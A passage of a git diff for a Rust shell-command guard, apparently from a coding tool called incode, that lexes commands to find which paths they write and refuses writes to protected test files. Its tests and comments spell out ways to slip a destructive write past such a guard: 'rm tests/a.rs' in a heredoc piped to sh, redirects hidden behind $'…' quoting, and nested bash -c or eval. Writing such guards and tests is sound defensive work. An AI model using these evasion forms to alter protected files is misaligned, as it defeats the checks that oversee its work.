{found:?}" - ); - let piped = targets("cat <<'E' | sh\nrm tests/a.rs\nE\n"); - assert!( - piped.contains(&"tests/a.rs".to_string()), - "piped into sh it runs just the same: {piped:?}" - ); - } - - /// Commands after a heredoc's delimiter are commands again. - #[test] - fn the_command_after_a_heredoc_is_read() { - let found = targets("cat > a.md <&`: the next word is written, unless it is a descriptor (`2>&1`). + WriteOrDup, + /// An input redirect or here-string: the next word is read, not written, + /// and is not an argument of the command either. + ReadFrom, + /// A heredoc, by index into [`Lexed::bodies`]. + Heredoc(usize), + /// `|`: the next command reads this one's output. + Pipe, + /// Anything that ends a pipeline: `;`, `&&`, `||`, `&`, a newline, `(`, `)`. + End, +} + +/// A command, read. +#[derive(Debug, Default)] +pub(super) struct Lexed { + pub(super) tokens: Vec, + /// Each heredoc's text, kept apart from the tokens: whether it is a script + /// or data depends on which program reads it. + pub(super) bodies: Vec, + /// The commands inside `$(...)` and backticks, which run whatever the + /// command around them does. + pub(super) substitutions: Vec, +} + +/// Read a command roughly as the shell does: quotes, operators, comments, +/// command substitutions and heredoc bodies. With `ansi_c`, `$'…'` is read +/// as bash reads it; without, as a POSIX `sh` does. +/// +/// # Wired to +/// +/// Called by [`super::collect_reading`], once for each reading of `$'`. +pub(super) fn lex(text: &str, ansi_c: bool) -> Lexed { + let chars: Vec = text.chars().collect(); + let mut lexer = Lexer { + ansi_c, + ..Lexer::default() + }; + let mut index = 0; + while index < chars.len() { + index = lexer.step(&chars, index); + } + lexer.flush(); + lexer.lexed +} + +/// Past a comment: the index of the newline that ends it, or the end. +/// +/// Called by [`Lexer::step`] for a `#` that begins a word. +fn skip_comment(chars: &[char], mut index: usize) -> usize { + while index < chars.len() && chars[index] != '\n' { + index += 1; + } + index +} + +#[derive(Default)] +struct Lexer { + lexed: Lexed, + /// `$'…'` read as bash reads it, not as a POSIX `sh` does + /// ([`super::collect`]). + ansi_c: bool, + word: String, + /// A word has begun, even if it is empty so far (`""`). + started: bool, + /// Some of the word was quoted, so `"2">x` is a word and not a descriptor. + quoted: bool, + /// A heredoc whose delimiter is the next word. + awaiting_delimiter: Option, + /// Heredocs announced on this line, read from the next: (body, delimiter). + pending: Vec<(usize, String)>, +} + +impl Lexer { + /// Read whatever starts at `index`, and return where the next step starts. + /// + /// Called by [`lex`] for every step. + fn step(&mut self, chars: &[char], index: usize) -> usize { + let next = chars.get(index + 1).copied(); + match chars[index] { + '\'' => self.single_quoted(chars, index), + '"' => self.double_quoted(chars, index), + '\\' => self.escaped(next, index), + '`' => self.substitution(chars, index), + '$' => self.dollar(chars, index), + '#' if !self.started => skip_comment(chars, index), + '\n' => { + self.operator(Token::End); + self.heredoc_bodies(chars, index + 1) + } + c if c.is_whitespace() => { + self.flush(); + index + 1 + } + ';' | '(' | ')' => { + self.operator(Token::End); + index + 1 + } + '|' => self.pipe(next, index), + '&' => self.ampersand(chars, index), + '>' => self.output_redirect(next, index), + '<' => self.input_redirect(chars, index), + other => { + self.word.push(other); + self.started = true; + index + 1 + } + } + } + + /// `'…'`: every character up to the closing quote, as it is. + /// + /// Called by [`Lexer::step`]. + fn single_quoted(&mut self, chars: &[char], mut index: usize) -> usize { + self.started = true; + self.quoted = true; + index += 1; + while index < chars.len() && chars[index] != '\'' { + self.word.push(chars[index]); + index += 1; + } + index + 1 + } + + /// `"…"`: a backslash escapes only `"`, `\`, `$` and a backtick, and a + /// substitution inside still runs. + /// + /// Called by [`Lexer::step`]. + fn double_quoted(&mut self, chars: &[char], mut index: usize) -> usize { + self.started = true; + self.quoted = true; + index += 1; + while index < chars.len() && chars[index] != '"' { + if chars[index] == '\\' && matches!(chars.get(index + 1), Some('"' | '\\' | '$' | '`')) + { + index += 1; + } else if chars[index] == '`' + || (chars[index] == '$' && matches!(chars.get(index + 1), Some('('))) + { + index = self.substitution(chars, index); + continue; + } + self.word.push(chars[index]); + index += 1; + } + index + 1 + } + + /// A backslash outside quotes: the next character, quoted; a newline after + /// it joins the lines. + /// + /// Called by [`Lexer::step`]. + fn escaped(&mut self, next: Option, index: usize) -> usize { + match next { + Some('\n') | None => {} + Some(escaped) => { + self.word.push(escaped); + self.started = true; + self.quoted = true; + } + } + index + 2 + } + + /// A `$` outside quotes: a substitution, `$$`, `$'…'`, `$"…"`, or itself. + /// + /// Called by [`Lexer::step`]. + fn dollar(&mut self, chars: &[char], index: usize) -> usize { + match chars.get(index + 1) { + Some('(' | '{') => self.substitution(chars, index), + // `$$`, the shell's pid: a quote after it is an ordinary one. + Some('$') => { + self.word.push_str("$$"); + self.started = true; + index + 2 + } + // `$'…'`: escapes decoded, ending where bash ends it + // (`crate::ansi_c`) — a backslash escapes the quote. + Some('\'') if self.ansi_c => { + let (text, end) = crate::ansi_c::quoted(chars, index + 2); + self.word.push_str(&text); + self.started = true; + self.quoted = true; + end + } + // `$"…"` is read as `"…"`. + Some('"') => index + 1, + _ => { + self.word.push('$'); + self.started = true; + index + 1 + } + } + } + + /// `|` and `|&` continue the pipeline; `||` ends it. + /// + /// Called by [`Lexer::step`]. + fn pipe(&mut self, next: Option, index: usize) -> usize { + if next == Some('|') { + self.operator(Token::End); + } else { + self.operator(Token::Pipe); + } + index + + if matches!(next, Some('|' | '&')) { + 2 + } else { + 1 + } + } + + /// `&>` and `&>>` write both output streams to a file; `&` and `&&` end + /// the pipeline. + /// + /// Called by [`Lexer::step`]. + fn ampersand(&mut self, chars: &[char], index: usize) -> usize { + let next = chars.get(index + 1).copied(); + if next == Some('>') { + self.operator(Token::WriteTo); + return index + + if chars.get(index + 2) == Some(&'>') { + 3 + } else { + 2 + }; + } + self.operator(Token::End); + index + if next == Some('&') { 2 } else { 1 } + } + + /// `>`, `>>`, `>|` and `>&`. + /// + /// Called by [`Lexer::step`]. + fn output_redirect(&mut self, next: Option, index: usize) -> usize { + self.drop_descriptor(); + let (token, width) = match next { + Some('>' | '|') => (Token::WriteTo, 2), + Some('&') => (Token::WriteOrDup, 2), + _ => (Token::WriteTo, 1), + }; + self.operator(token); + index + width + } + + /// `<<<`, a heredoc (`<<`, `<<-`), `<>`, `<` and `<&`. + /// + /// Called by [`Lexer::step`]. + fn input_redirect(&mut self, chars: &[char], index: usize) -> usize { + self.drop_descriptor(); + let next = chars.get(index + 1).copied(); + let third = chars.get(index + 2).copied(); + match (next, third) { + (Some('<'), Some('<')) => { + self.operator(Token::ReadFrom); + index + 3 + } + (Some('<'), _) => { + self.announce_heredoc(); + index + if third == Some('-') { 3 } else { 2 } + } + // `<>` opens the file for reading AND writing. + (Some('>'), _) => { + self.operator(Token::WriteTo); + index + 2 + } + _ => { + self.operator(Token::ReadFrom); + index + if next == Some('&') { 2 } else { 1 } + } + } + } + + /// A heredoc operator: a body to fill from the next line, whose + /// delimiter is the next word. + /// + /// Called by [`Lexer::input_redirect`]. + fn announce_heredoc(&mut self) { + let body = self.lexed.bodies.len(); + self.lexed.bodies.push(String::new()); + self.operator(Token::Heredoc(body)); + self.awaiting_delimiter = Some(body); + } + + /// End the current word, if one has begun: a heredoc's delimiter when one + /// is awaited, a [`Token::Word`] otherwise. + /// + /// Called by [`lex`] at the end, by [`Lexer::step`] at whitespace, and by + /// [`Lexer::operator`]. + fn flush(&mut self) { + if !self.started { + return; + } + let word = std::mem::take(&mut self.word); + self.started = false; + self.quoted = false; + match self.awaiting_delimiter.take() { + Some(body) => self.pending.push((body, word)), + None => self.lexed.tokens.push(Token::Word(word)), + } + } + + /// End the current word, then add `token`. + /// + /// Called by every [`Lexer`] step that reads an operator. + fn operator(&mut self, token: Token) { + self.flush(); + self.awaiting_delimiter = None; + self.lexed.tokens.push(token); + } + + /// The `2` of `2>x` is the stream being redirected, not a word. + /// + /// Called by [`Lexer::output_redirect`] and [`Lexer::input_redirect`]. + fn drop_descriptor(&mut self) { + if self.started && !self.quoted && self.word.chars().all(|c| c.is_ascii_digit()) { + self.word.clear(); + self.started = false; + } + } + + /// Consume `$(...)`, `${...}` or a backtick span starting at `start` into + /// the current word, keep the command inside it, and return where it ends. + /// + /// Called by [`Lexer::step`], [`Lexer::double_quoted`] and + /// [`Lexer::dollar`]. + fn substitution(&mut self, chars: &[char], start: usize) -> usize { + let (open, close, body_start) = delimiters(chars, start); + let end = self + .substitution_end(chars, body_start, open, close) + .min(chars.len()); + let inner: String = chars[body_start.min(end)..end].iter().collect(); + let whole_end = (end + 1).min(chars.len()); + self.word.extend(&chars[start..whole_end]); + self.started = true; + // `${name}` is a variable, not a command. + if open != '{' { + self.lexed.substitutions.push(inner); + } + whole_end + } + + /// The index of the delimiter that closes a substitution whose body starts + /// at `body_start`; past the end when nothing closes it. + /// + /// Called by [`Lexer::substitution`]. + fn substitution_end( + &self, + chars: &[char], + body_start: usize, + open: char, + close: char, + ) -> usize { + let mut depth = 1usize; + let mut index = body_start; + while index < chars.len() { + if let Some(after) = self.skipped(chars, index, close) { + index = after; + continue; + } + let c = chars[index]; + if c == close { + depth -= 1; + if depth == 0 { + break; + } + } else if c == open && open != '`' { + depth += 1; + } + index += 1; + } + index + } + + /// Inside a substitution, where a span that cannot open or close it ends: + /// an escape, `$$`, a `$'…'` (bash's reading only) or a quoted span. + /// `None` when the character at `index` is not such a span. + /// + /// Called by [`Lexer::substitution_end`]. + fn skipped(&self, chars: &[char], index: usize, close: char) -> Option { + let c = chars[index]; + let next = chars.get(index + 1); + if c == '\\' || (c == '$' && next == Some(&'$')) { + return Some(index + 2); + } + if self.ansi_c && c == '$' && next == Some(&'\'') { + return Some(crate::ansi_c::quoted(chars, index + 2).1); + } + // A quoted `)` does not close `$(...)`: a quoted span is skipped + // whole, or the rest of the command would be read off by one. + if matches!(c, '\'' | '"') && c != close { + return Some(past_quoted_span(chars, index, c)); + } + None + } + + /// After a newline, the lines of every heredoc announced on the line + /// before it. Returns where ordinary commands resume. + /// + /// A delimiter line is matched with its whitespace trimmed, which bash does + /// not do: ending a body early leaves MORE text read as commands, which can + /// only refuse more, never less. + /// + /// Called by [`Lexer::step`] at a newline. + fn heredoc_bodies(&mut self, chars: &[char], mut index: usize) -> usize { + for (body, delimiter) in std::mem::take(&mut self.pending) { + while index < chars.len() { + let end = chars[index..] + .iter() + .position(|c| *c == '\n') + .map_or(chars.len(), |p| index + p); + let line: String = chars[index..end].iter().collect(); + index = (end + 1).min(chars.len()); + if line.trim() == delimiter { + break; + } + let text = &mut self.lexed.bodies[body]; + text.push_str(&line); + text.push('\n'); + } + } + index + } +} + +/// A substitution's opening and closing characters, and where its body +/// starts: a backtick, `${` or `$(`. +/// +/// Called by [`Lexer::substitution`]. +fn delimiters(chars: &[char], start: usize) -> (char, char, usize) { + match chars[start] { + '`' => ('`', '`', start + 1), + _ => match chars.get(start + 1) { + Some('{') => ('{', '}', start + 2), + _ => ('(', ')', start + 2), + }, + } +} + +/// Just past the span quoted by `quote` that opens at `index`; in a double +/// quote a backslash takes the next character with it. +/// +/// Called by [`Lexer::skipped`]. +fn past_quoted_span(chars: &[char], index: usize, quote: char) -> usize { + let mut index = index + 1; + while index < chars.len() && chars[index] != quote { + index += if quote == '"' && chars[index] == '\\' { + 2 + } else { + 1 + }; + } + index + 1 +} + +#[cfg(test)] +mod tests { + use super::{lex, Token}; + + fn word(text: &str) -> Token { + Token::Word(text.to_string()) + } + + /// A redirect operator ends where it ends, space after it or not. + #[test] + fn a_redirect_with_no_space_is_an_operator_and_a_word() { + assert_eq!( + lex("echo x >>tests/a.rs", true).tokens, + [word("echo"), word("x"), Token::WriteTo, word("tests/a.rs")] + ); + } + + /// A heredoc's lines are its body, not tokens, and the pipe after the + /// operator is still read. + #[test] + fn a_heredoc_body_is_kept_apart_from_the_tokens() { + let lexed = lex("cat <<'E' | sh\nrm tests/a.rs\nE\n", true); + assert_eq!( + lexed.tokens, + [ + word("cat"), + Token::Heredoc(0), + Token::Pipe, + word("sh"), + Token::End + ] + ); + assert_eq!(lexed.bodies, ["rm tests/a.rs\n"]); + } + + /// bash ends `$'\''` after one quote character; a POSIX `sh` reads a `$` + /// and a plain quote that runs on. + #[test] + fn dollar_quote_is_read_both_ways() { + let text = r"echo $'\'' ; x"; + assert_eq!( + lex(text, true).tokens, + [word("echo"), word("'"), Token::End, word("x")] + ); + assert_eq!(lex(text, false).tokens, [word("echo"), word(r"$\ ; x")]); + } + + /// `$(…)` and backticks run commands; `${…}` names a variable. + #[test] + fn substitutions_are_kept_and_variables_are_not() { + let lexed = lex("echo $(rm a) `rm b` ${H}", true); + assert_eq!(lexed.substitutions, ["rm a", "rm b"]); + } +} diff --git a/src/guards/shell/mod.rs b/src/guards/shell/mod.rs new file mode 100644 index 0000000..773833b --- /dev/null +++ b/src/guards/shell/mod.rs @@ -0,0 +1,565 @@ +//! Which paths a shell command can WRITE, read off its text. +//! +//! # Why a lexer and not a word split +//! +//! The first version split the command on whitespace and matched every word, +//! and that was wrong in both directions at once. `printf x >>tests/it.rs` is +//! ONE word, `>>tests/it.rs`, whose first segment is `>>tests` — so the append +//! went through and only the sentinel noticed (incordai/Incode#4). And a heredoc +//! writing a document that merely MENTIONED `tests/it.rs` was refused, because +//! every word of the document was taken for a path (#11). Both come from not +//! knowing where a redirect ends or where data begins, and knowing that takes +//! reading the command the way the shell does — quotes, operators, heredoc +//! bodies — if only roughly. +//! +//! # What counts as written +//! +//! - the target of an output redirect: `>`, `>>`, `>|`, `&>`, `2>`, `<>` +//! - an argument of a command that writes the files it is handed (`rm`, `tee`, +//! `sed -i`, `perl -pi`, `git checkout`, ...) +//! - a quoted string inside an inline program (`python -c`, `node -e`, a +//! heredoc fed to `python3`): that program's syntax is not parsed, so a +//! literal naming a protected path is taken to be one it writes +//! - a command handed to a shell (`bash -c`, `eval`, `$(...)`, a heredoc fed to +//! `sh`), read the same way, recursively +//! +//! Heredoc text given to anything else is DATA: it is what gets written, not +//! where, so the paths it mentions are not targets. +//! +//! # Where it gives up, and which way +//! +//! A writer whose argument is not literal — `$f`, a `{}` from `find`, `xargs` +//! feeding it — cannot be resolved from text. Then every word of the command, +//! heredoc data excepted, is taken as a possible target: an ambiguity is +//! resolved towards refusing. Even so this is a textual check, and the module +//! header of `guards` says what it cannot catch; the sentinel is the guarantee. + +/// Every string this command could write to, as the shell would hand it over. +/// +/// # Wired to +/// +/// Called by [`super::Guards::protecting_in_command`], which matches each one +/// against the protected fragments. +#[must_use] +pub(super) fn write_targets(command: &str) -> Vec { + let mut out = Vec::new(); + // Whether it was unresolved no longer matters here: `collect` has already + // added every word of a command it could not read precisely. + let _ = collect(command, 0, &mut out); + out +} + +/// How deep `bash -c "eval '...'"` is followed. Each level is a strictly +/// shorter string, so this bounds the work of a hostile nesting, not a loop. +/// Past it, every word is a target: a command too deep to read is refused +/// rather than waved through. +const MAX_DEPTH: usize = 8; + +mod lex; +mod program; + +use lex::{lex, Lexed, Token}; +use program::{git_subcommand, is_in_place_flag, program_of, Program, GIT_WRITERS}; + +/// Push every target of `command` into `out`. True when one of its writes could +/// not be read from the text, so a command wrapping this one — `bash -c`, a +/// `$(...)` — must count its own words too: `bash -c 'rm "$1"' _ tests/x` +/// names its target OUTSIDE the inner command. +/// +/// A command with `$'` is read twice: as bash reads it (ANSI-C quoting) and as +/// a POSIX `sh` such as dash does (a `$` and a plain quote). incode runs +/// `sh -c`, which is dash on Debian and Ubuntu, and the two readings can end +/// the quote in different places; a write either one sees is a target. +/// `permissions::rules::split_into` does the same. +#[must_use] +fn collect(command: &str, depth: usize, out: &mut Vec) -> bool { + if depth > MAX_DEPTH { + out.extend(pieces(command)); + return true; + } + let mut unresolved = collect_reading(command, depth, out, true); + if command.contains("$'") { + unresolved |= collect_reading(command, depth, out, false); + } + unresolved +} + +/// [`collect`] for one reading: with `ansi_c`, `$'…'` as bash reads it. +/// +/// Called by [`collect`], once for each reading. +#[must_use] +fn collect_reading(command: &str, depth: usize, out: &mut Vec, ansi_c: bool) -> bool { + let lexed = lex(command, ansi_c); + let mut unresolved = false; + for inner in &lexed.substitutions { + unresolved |= collect(inner, depth + 1, out); + } + for pipeline in lexed.tokens.split(|t| *t == Token::End) { + unresolved |= pipeline_targets(pipeline, &lexed.bodies, depth, out); + } + if unresolved { + every_word(&lexed, out); + } + unresolved +} + +/// Push what one pipeline writes. True when a write cannot be read from the +/// text. +/// +/// Called by [`collect_reading`] for each pipeline. +fn pipeline_targets( + pipeline: &[Token], + bodies: &[String], + depth: usize, + out: &mut Vec, +) -> bool { + let commands: Vec<&[Token]> = pipeline.split(|t| *t == Token::Pipe).collect(); + // A heredoc anywhere in `cat <, + depth: usize, + out: &mut Vec, +) -> bool { + let mut unresolved = false; + for (index, token) in tokens.iter().enumerate() { + let next = match tokens.get(index + 1) { + Some(Token::Word(word)) => Some(word), + _ => None, + }; + match (token, next) { + (Token::WriteTo, Some(target)) => { + unresolved |= is_unresolved(target); + out.push(target.clone()); + } + (Token::WriteOrDup, Some(target)) if !is_descriptor(target) => { + unresolved |= is_unresolved(target); + out.push(target.clone()); + } + (Token::Heredoc(body), _) => { + unresolved |= heredoc_targets(&bodies[*body], reader, depth, out); + } + _ => {} + } + } + unresolved +} + +/// Push what a heredoc writes: a script when a shell reads it, the quoted +/// strings of a program an interpreter reads, nothing when it is data. +/// +/// Called by [`redirect_targets`]. +fn heredoc_targets( + body: &str, + reader: Option, + depth: usize, + out: &mut Vec, +) -> bool { + match reader { + Some(Program::Shell) => collect(body, depth + 1, out), + Some(Program::Interpreter | Program::Perl) => { + out.extend(quoted_literals(body)); + false + } + _ => false, + } +} + +/// Every word of a command that could not be read precisely, cut into +/// [`pieces`]: each one counts as a target. +/// +/// Called by [`collect_reading`]. +fn every_word(lexed: &Lexed, out: &mut Vec) { + for token in &lexed.tokens { + if let Token::Word(word) = token { + out.extend(pieces(word)); + } + } +} + +/// Push what this one command writes through its ARGUMENTS. True when an +/// argument it writes cannot be read from the text. +fn arguments_written(words: &[&str], depth: usize, out: &mut Vec) -> bool { + let (program, start, fed_by_xargs) = program_of(words); + let args = words.get(start + 1..).unwrap_or_default(); + let in_place = args.iter().any(|a| is_in_place_flag(a)); + // Whether the program writes the files its arguments name. + let mut writes = false; + let mut unresolved = false; + match program { + Program::Writer => { + writes = true; + unresolved |= push_all(args, out); + } + Program::InPlaceEditor | Program::Perl => { + if in_place { + writes = true; + unresolved |= push_all(args, out); + } + if program == Program::Perl { + for arg in args { + out.extend(quoted_literals(arg)); + } + } + } + Program::Interpreter => { + // The program's own arguments are NOT targets: `python -m pytest + // tests/` runs the tests, which is the whole job. + for arg in args { + out.extend(quoted_literals(arg)); + } + } + Program::Shell => { + for arg in args.iter().filter(|a| !a.starts_with('-')) { + unresolved |= collect(arg, depth + 1, out); + } + } + Program::Eval => unresolved |= collect(&args.join(" "), depth + 1, out), + Program::Git => { + if let Some(sub) = git_subcommand(args) { + if GIT_WRITERS.contains(&args[sub]) { + writes = true; + unresolved |= push_all(&args[sub + 1..], out); + } + } + } + Program::Find => { + if find_writes(args, depth) { + // What `-delete` or `-exec rm {}` reaches is whatever was + // found, which no argument spells out. + push_all(args, out); + unresolved = true; + } + } + Program::Other => {} + } + // `xargs rm` writes whatever arrives on stdin, which no argument names. + unresolved || (fed_by_xargs && writes) +} + +/// Every argument, plus the value of any `name=value` one (`dd of=x`, +/// `--target-directory=x`). True when one of them is decided at run time. +fn push_all(args: &[&str], out: &mut Vec) -> bool { + for arg in args { + out.push((*arg).to_string()); + if let Some((_, value)) = arg.split_once('=') { + out.push(value.to_string()); + } + } + args.iter().any(|a| is_unresolved(a)) +} + +/// Whether `find` deletes, or runs a writer on, what it finds. +fn find_writes(args: &[&str], depth: usize) -> bool { + if args.contains(&"-delete") { + return true; + } + args.iter().enumerate().any(|(index, arg)| { + matches!(*arg, "-exec" | "-execdir" | "-ok" | "-okdir") && { + let command: Vec<&str> = args[index + 1..] + .iter() + .take_while(|w| !matches!(**w, ";" | "+")) + .copied() + .collect(); + let mut reached = Vec::new(); + arguments_written(&command, depth + 1, &mut reached) || !reached.is_empty() + } + }) +} + +/// `1`, `2`, `-` after `>&` name a descriptor, not a file. +fn is_descriptor(word: &str) -> bool { + word == "-" || (!word.is_empty() && word.chars().all(|c| c.is_ascii_digit())) +} + +/// A word whose value the shell decides at run time: a variable, a command +/// substitution, a `find` placeholder. +fn is_unresolved(word: &str) -> bool { + word.contains(['$', '`', '{']) +} + +/// The words of one command, redirect operands and heredocs left out. +fn words_of(tokens: &[Token]) -> Vec<&str> { + let mut words = Vec::new(); + let mut operand = false; + for token in tokens { + match token { + Token::Word(word) if !operand => words.push(word.as_str()), + _ => {} + } + operand = matches!(token, Token::WriteTo | Token::WriteOrDup | Token::ReadFrom); + } + words +} + +/// The strings quoted inside a piece of code: `'tests/a.rs'` in +/// `open('tests/a.rs','w')`. +fn quoted_literals(code: &str) -> Vec { + let chars: Vec = code.chars().collect(); + let mut out = Vec::new(); + let mut index = 0; + while index < chars.len() { + let quote = chars[index]; + if !matches!(quote, '\'' | '"' | '`') { + index += 1; + continue; + } + let mut literal = String::new(); + index += 1; + while index < chars.len() && chars[index] != quote { + if chars[index] == '\\' && index + 1 < chars.len() { + index += 1; + } + literal.push(chars[index]); + index += 1; + } + index += 1; + out.push(literal); + } + out +} + +/// A word cut at everything a path does not contain, for when the command +/// could not be read precisely and every word has to count. +fn pieces(text: &str) -> Vec { + text.split(|c: char| { + c.is_whitespace() + || matches!(c, ';' | '|' | '&' | '(' | ')' | '<' | '>') + || matches!(c, '\'' | '"' | '`' | '$' | '=' | ',' | '{' | '}') + }) + .filter(|p| !p.is_empty()) + .map(str::to_string) + .collect() +} + +#[cfg(test)] +mod tests { + use super::*; + + fn targets(command: &str) -> Vec { + write_targets(command) + } + + /// A redirect ends where the operator does, whitespace or not — the word + /// after `>>` with no space is the file, not part of an operator. + #[test] + fn a_redirect_target_is_read_with_or_without_a_space() { + for command in [ + "echo x >tests/a.rs", + "echo x > tests/a.rs", + "echo x >>tests/a.rs", + "echo x 2>tests/a.rs", + "echo x &>tests/a.rs", + "echo x >|tests/a.rs", + ] { + assert_eq!( + targets(command), + vec!["tests/a.rs".to_string()], + "the redirect target is the file written: {command}" + ); + } + } + + /// `2>&1` duplicates a stream; there is no file called `1`. + #[test] + fn a_descriptor_duplication_writes_no_file() { + assert!( + targets("cargo test 2>&1").is_empty(), + "`&1` is a stream, not a path" + ); + } + + /// A quoted `>` is text, not a redirect. + #[test] + fn a_quoted_operator_is_only_text() { + assert!( + targets(r#"echo "a > tests/a.rs""#).is_empty(), + "a quoted `>` redirects nothing" + ); + } + + /// **`$'…'` ENDS WHERE BASH SAYS.** A backslash escapes its quote, so + /// `$'\''` is one character and the redirect after the `;` is real. Read + /// as a plain `'…'`, the rest of the line looked quoted and the write to a + /// protected file went unseen. + #[test] + fn an_ansi_c_quote_does_not_hide_a_redirect_after_it() { + for command in [ + r"echo $'\'' ; echo x > tests/a.rs #'", + r"echo $'it\'s' && echo x >tests/a.rs #'", + r"echo $(echo $'\'') ; echo x > tests/a.rs #'", + ] { + // Each reading of `$'` may find it; the caller asks only whether + // any target is protected. + assert!( + targets(command).contains(&"tests/a.rs".to_string()), + "{command}: {:?}", + targets(command) + ); + } + assert!( + targets(r"echo $'a > tests/a.rs'").is_empty(), + "a `>` inside `$'…'` is text" + ); + } + + /// A target spelled with `$'…'` or `$"…"` is the file bash writes; a NUL + /// ends it (`> $'a.txt\0junk'` writes `a.txt`). + #[test] + fn a_target_in_ansi_c_or_locale_quotes_is_the_file_written() { + for command in [ + r"echo x > $'tests/a.rs'", + r"echo x > $'tests\x2fa.rs'", + r#"echo x > $"tests/a.rs""#, + r"echo x > $'tests/a.rs\0junk'", + ] { + assert!( + targets(command).contains(&"tests/a.rs".to_string()), + "{command}: {:?}", + targets(command) + ); + } + } + + /// **TWO SHELLS, TWO READINGS.** dash — what `sh -c` runs on Debian and + /// Ubuntu — reads `$'` as a `$` and a plain quote, and bash ends `$'\c'` + /// at its quote. A write hidden from either reading is still seen. + #[test] + fn a_redirect_hidden_from_either_reading_of_dollar_quote_is_seen() { + for command in [ + r"echo $'\' ; echo x > tests/a.rs # '", + r"echo $'\c' ; echo x > tests/a.rs #'", + r"echo $'\c\'' ; echo x > tests/a.rs #'", + ] { + assert!( + targets(command).contains(&"tests/a.rs".to_string()), + "{command}: {:?}", + targets(command) + ); + } + } + + /// The body of a heredoc given to `cat` is what is written, not where. + #[test] + fn heredoc_data_is_not_a_target() { + let found = targets("cat > docs/a.md <<'E'\nsee tests/it.rs\nE\n"); + assert_eq!(found, vec!["docs/a.md".to_string()], "only the redirect"); + } + + /// A heredoc fed to a shell is a script, and its commands count. + #[test] + fn a_heredoc_fed_to_a_shell_is_read_as_commands() { + let found = targets("bash <<'E'\nrm tests/a.rs\nE\n"); + assert!( + found.contains(&"tests/a.rs".to_string()), + "the body is run, so its rm writes: {found:?}" + ); + let piped = targets("cat <<'E' | sh\nrm tests/a.rs\nE\n"); + assert!( + piped.contains(&"tests/a.rs".to_string()), + "piped into sh it runs just the same: {piped:?}" + ); + } + + /// Commands after a heredoc's delimiter are commands again. + #[test] + fn the_command_after_a_heredoc_is_read() { + let found = targets("cat > a.md < String { + match token { + Token::Word(word) => esc(word), + Token::WriteTo => ">".to_string(), + Token::WriteOrDup => ">&".to_string(), + Token::ReadFrom => "<".to_string(), + Token::Heredoc(body) => format!("<<{body}"), + Token::Pipe => "|".to_string(), + Token::End => ";".to_string(), + } +} + +fn lexed(lexed: &Lexed) -> String { + let tokens: Vec = lexed.tokens.iter().map(token).collect(); + format!( + "tokens [{}] bodies {} subs {}", + tokens.join(" "), + list(&lexed.bodies), + list(&lexed.substitutions) + ) +} + +fn reading(command: &str) -> String { + format!( + "{} => targets {} | bash {} | sh {}", + esc(command), + list(&write_targets(command)), + lexed(&lex(command, true)), + lexed(&lex(command, false)) + ) +} + +/// **NO RESTRUCTURING CHANGES WHAT THE GUARD SEES.** Every command of the +/// corpus is read exactly as it was when the recording was made. +#[test] +fn every_pinned_command_is_read_as_recorded() { + assert_pinned(RECORDING, &record(reading)); +} + +/// One nested command, too long to record whole: its size and digest, what +/// it is found to write (and whether the innermost writes are among it), +/// and a digest of both lexer readings. +fn nested_reading(name: &str, command: &str) -> String { + let targets = write_targets(command); + let has = |target: &str| targets.iter().any(|t| t == target); + let readings = format!( + "{}\n{}", + lexed(&lex(command, true)), + lexed(&lex(command, false)) + ); + format!( + "{name} input {} chars {} => targets {} {} | tests/a {} | tests/b {} | lexed {}", + command.chars().count(), + digest(command), + targets.len(), + digest(&list(&targets)), + has("tests/a"), + has("tests/b"), + digest(&readings) + ) +} + +/// **THE DEPTH LIMIT IS WHERE IT WAS.** Commands that really recurse — +/// quoted `bash -c`, `sh -c`, `eval`, `$(…)`, heredocs fed to `sh` — at depths +/// around the limit and well past it are read exactly as recorded. +#[test] +fn every_pinned_nesting_is_read_as_recorded() { + let lines: Vec = nesting() + .iter() + .map(|(name, command)| nested_reading(name, command)) + .collect(); + assert_pinned(NESTING, &lines); +} diff --git a/src/guards/shell/program.rs b/src/guards/shell/program.rs new file mode 100644 index 0000000..2e4b74e --- /dev/null +++ b/src/guards/shell/program.rs @@ -0,0 +1,196 @@ +//! Which program a command runs, and what that program does with its +//! arguments, for the guard: the lists of writers, interpreters and shells, +//! and the flags and subcommands that make a program write. + +/// Commands that write, change or remove every file they are given. +/// +/// `cp`, `rsync`, `install` and `ln` are here whole, sources included: which +/// argument is the destination depends on flags (`cp -t`), and guessing it +/// wrong is a hole. Copying a test OUT is refused with them, which `cat` does +/// not need. +const WRITERS: [&str; 14] = [ + "rm", "rmdir", "mv", "cp", "truncate", "tee", "dd", "chmod", "chown", "install", "ln", "touch", + "unlink", "rsync", +]; + +/// Programs whose inline code is scanned for quoted paths. `perl` is here and +/// also an in-place editor (`perl -pi`), and is read both ways. +const INTERPRETERS: [&str; 7] = ["python", "py", "node", "nodejs", "ruby", "perl", "php"]; + +/// Programs that run a command handed to them as text. +const SHELLS: [&str; 7] = ["bash", "sh", "zsh", "dash", "ksh", "ash", "fish"]; + +/// Words in front of the program that are not the program: the program is the +/// word after them. Flags after a wrapper are skipped with it. +const PREFIXES: [&str; 18] = [ + "sudo", "doas", "env", "command", "builtin", "exec", "nohup", "time", "nice", "then", "do", + "else", "elif", "if", "while", "until", "!", "{", +]; + +/// `git` subcommands that overwrite or remove the files they are given. +pub(super) const GIT_WRITERS: [&str; 4] = ["checkout", "restore", "rm", "mv"]; + +/// What a program does with its arguments, for this purpose. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(super) enum Program { + /// Writes every argument. + Writer, + /// Writes every argument when an in-place flag is given. + InPlaceEditor, + /// Runs code given inline; its quoted strings are scanned. + Interpreter, + /// `perl`: an interpreter, and an in-place editor with `-i`. + Perl, + /// Runs a command given as text. + Shell, + Eval, + Git, + Find, + /// Reads, or does something this module has no opinion about. + Other, +} + +/// The program a command runs, the index of its word, and whether `xargs` +/// stands in front of it. +/// +/// Called by [`super::arguments_written`], and by +/// [`super::pipeline_targets`] to find the pipeline's program that reads a +/// heredoc. +pub(super) fn program_of(words: &[&str]) -> (Program, usize, bool) { + let (index, xargs) = program_index(words); + let program = words + .get(index) + .map_or(Program::Other, |word| kind(&program_name(word))); + (program, index, xargs) +} + +/// The index of the program's word, past assignments and wrappers (and the +/// wrappers' flags), and whether one of the wrappers was `xargs`. +/// +/// Called by [`program_of`]. +fn program_index(words: &[&str]) -> (usize, bool) { + let mut index = 0; + let mut xargs = false; + while let Some(word) = words.get(index) { + let name = program_name(word); + if is_assignment(word) { + index += 1; + } else if PREFIXES.contains(&name.as_str()) || name == "xargs" { + xargs |= name == "xargs"; + index += 1; + while words.get(index).is_some_and(|w| w.starts_with('-')) { + index += 